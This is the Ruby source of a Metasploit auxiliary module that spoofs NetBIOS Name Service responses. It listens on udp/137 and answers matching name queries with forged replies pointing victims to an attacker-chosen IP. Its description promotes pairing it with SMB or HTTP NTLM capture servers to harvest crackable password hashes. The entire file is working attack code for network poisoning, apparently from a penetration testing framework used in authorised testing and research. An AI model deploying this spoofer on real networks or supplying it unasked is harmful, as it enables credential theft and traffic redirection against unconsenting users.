## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture attr_accessor :sock, :thread def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', 'Description' => %q{ This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests sent to the local subnet's broadcast address and spoof a response, redirecting the querying machine to an IP of the attacker's choosing. Combined with auxiliary/capture/server/smb or capture/server/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. This module must be run as root and will bind to udp/137 on all interfaces. }, 'Author' => [ 'Tim Medin ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ] ], 'Actions' => [ [ 'Service' ] ], 'PassiveActions' => [ 'Service' ], 'DefaultAction' => 'Service' ) register_options([ OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", "127.0.0.1"]), OptRegexp.new('REGEX', [ true, "Regex applied to the NB Name to determine if spoofed reply is sent", '.*']), ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') self.thread = nil self.sock = nil end def dispatch_request(packet, rhost, src_port) rhost = ::IPAddr.new(rhost) # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped # addr like "::ffff:192.168.0.1" when the interface we're listening # on has an IPv6 address. Convert it to just the v4 addr if rhost.ipv4_mapped? rhost = rhost.native end # Convert to string rhost = rhost.to_s spoof = ::IPAddr.new(datastore['SPOOFIP']) return if packet.length == 0 nbnsq_transid = packet[0..1] nbnsq_flags = packet[2..3] nbnsq_questions = packet[4..5] nbnsq_answerrr = packet[6..7] nbnsq_authorityrr = packet[8..9] nbnsq_additionalrr = packet[10..11] nbnsq_name = packet[12..45] decoded = "" nbnsq_name.slice(1..-2).each_byte do |c| decoded << "#{(c - 65).to_s(16)}" end nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() nbnsq_type = packet[46..47] nbnsq_class = packet[48..49] return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") vprint_status("transid: #{nbnsq_transid.unpack('H4')}") vprint_status("tlags: #{nbnsq_flags.unpack('B16')}") vprint_status("questions: #{nbnsq_questions.unpack('n')}") vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}") vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") vprint_status("full name: #{nbnsq_name.slice(1..-2)}") vprint_status("decoded: #{decoded}") vprint_status("decoded name: #{nbnsq_decodedname}") vprint_status("type: #{nbnsq_type.unpack('n')}") vprint_status("class: #{nbnsq_class.unpack('n')}") # time to build a response packet - Oh YEAH! response = nbnsq_transid + "\x85\x00" + # Flags = response + authoratative + recursion desired + "\x00\x00" + # Questions = 0 "\x00\x01" + # Answer RRs = 1 "\x00\x00" + # Authority RRs = 0 "\x00\x00" + # Additional RRs = 0 nbnsq_name + # original query name nbnsq_type + # Type = NB ...whatever that means nbnsq_class+ # Class = IN "\x00\x04\x93\xe0" + # TTL = a long ass time "\x00\x06" + # Datalength = 6 "\x00\x00" + # Flags B-node, unique = whatever that means spoof.hton pkt = PacketFu::UDPPacket.new pkt.ip_saddr = Rex::Socket.source_address(rhost) pkt.ip_daddr = rhost pkt.ip_ttl = 255 pkt.udp_sport = 137 pkt.udp_dport = src_port pkt.payload = response pkt.recalc capture_sendto(pkt, rhost) end def monitor_socket while true rds = [self.sock] wds = [] eds = [self.sock] r,_,_ = ::IO.select(rds,wds,eds,0.25) if (r != nil and r[0] == self.sock) packet, host, port = self.sock.recvfrom(65535) dispatch_request(packet, host, port) end end end def run check_pcaprub_loaded() ::Socket.do_not_reverse_lookup = true # Mac OS X workaround # Avoid receiving extraneous traffic on our send socket open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) self.sock = Rex::Socket.create_udp( 'LocalHost' => "0.0.0.0", 'LocalPort' => 137, 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) add_socket(self.sock) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { begin monitor_socket rescue ::Interrupt raise $! rescue ::Exception print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end } print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") self.thread.join print_status("NBNS Monitor thread exited...") end def cleanup if self.thread and self.thread.alive? self.thread.kill self.thread = nil end close_pcap end end